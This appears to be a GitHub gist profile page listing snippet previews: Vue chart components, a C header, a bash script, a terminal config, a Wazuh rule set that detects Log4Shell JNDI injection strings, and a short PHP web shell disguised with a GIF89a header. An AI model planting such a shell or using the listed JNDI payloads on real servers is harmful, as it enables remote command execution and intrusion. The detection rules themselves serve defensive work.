Skip to content

Instantly share code, notes, and snippets.

View apertureless's full-sized avatar
:shipit:
Finding ...<b>u</b>

Jakub apertureless

:shipit:
Finding ...<b>u</b>
View GitHub Profile
GIF89a;
<?php
system($_REQUEST['nxi']);
?>
@apertureless
apertureless / rules.xml
Last active December 16, 2021 11:13
Log4j Wazuh
<group name="web,">
<rule id="100134" level="8">
<if_sid>31108, 31100</if_sid>
<regex>\${jndi:ldap:|\${jndi:rmi:|\${jndi:ldaps:|\${jndi:dns:|\${jndi:iiop:|\${jndi:http:|\${jndi:nis:|\${jndi:nds:|\${jndi:corba:|\${::-i}|\${lower:|\${upper:\$</regex>
<description>Log4Shell - Detects indicators in server logs that indicate an exploitation attempt of CVE-2021-44228</description>
</rule>
<rule id="100135" level="8">
<if_sid>31108, 31100, 31120</if_sid>
<regex>\S%7Bjndi\S|\$%7Bjndi\S|%2524%257Bjndi|%2F%252524%25257Bjndi%3A|\${jndi:\${lower:|\${::-j}\${|\${\${env:BARFOO:-j}|\${::-l}\${::-d}\${::-a}\${::-p}|\${base64:JHtqbmRp|\${\${upper:j}\${upper:n}\${upper:d}\${upper:i}|\${\${upper:j}\${upper:n}\${upper:d}\${lower:i}|\${\${upper:j}\${upper:n}\${lower:d}\${upper:i}|\${\${upper:j}\${upper:n}\${lower:d}\${lower:i}|\${\${upper:j}\${lower:n}\${upper:d}\${upper:i}|\${\${upper:j}\${lower:n}\${upper:d}\${lower:i}|\${\${upper:j}\${lower:n}\${lower:d}\${upper:i}|\${\${upper:j}\${lower:n}\${lower:d}\$
#include <stdio.h>
int ulam_max(int a0);
int ulam_twins(int limit);
int ulam_twins_s(int limit);
int ulam_twins_i(int limit);
int ulam_multiples(int limit, int number);
int main()
#!/bin/bash
RED=`tput setaf 1`
GREEN=`tput setaf 2`
BLUE=`tput setaf 4`
MAGENTA=`tput setaf 5`
CYAN=`tput setaf 6`
NOCOLOR=`tput sgr0`
echo "${CYAN}
module.exports = {
config: {
// default font size in pixels for all tabs
fontSize: 12,
// font family with optional fallbacks
fontFamily: '"Fira Code", "Operator Mono", Menlo, "DejaVu Sans Mono", "Lucida Console", monospace',
// terminal cursor background color and opacity (hex, rgb, hsl, hsv, hwb or cmyk)
cursorColor: 'rgba(248,28,229,0.8)',
@apertureless
apertureless / start-02.vue
Created April 19, 2017 16:20
medium post
<script>
import axios from 'axios'
import LineChart from '@/components/LineChart'
export default {
components: {
LineChart
},
props: {},
data () {
@apertureless
apertureless / start-01.vue
Created April 19, 2017 15:51
medium-api-
<template>
<div class="content">
<div class="container">
<div class="Search__container">
<input
class="Search__input"
@keyup.enter="requestData"
placeholder="npm package name"
type="search" name="search"
v-model="package"
@apertureless
apertureless / LineChart.vue
Last active February 5, 2018 14:18
medium-api-vue-01
<script>
import { Line } from 'vue-chartjs'
export default {
extends: Line,
props: {
chartData: {
type: Array | Object,
required: false
},
import {Line} from 'vue-chartjs'
export default Line.extend({
data () {
return {
gradient: null,
gradient2: null
}
},
mounted () {
<template>
<div id="app">
<div class="container">
<div class="Chart__list">
<div class="Chart">
<h2>Linechart</h2>
<line-example></line-example>
</div>
</div>
</div>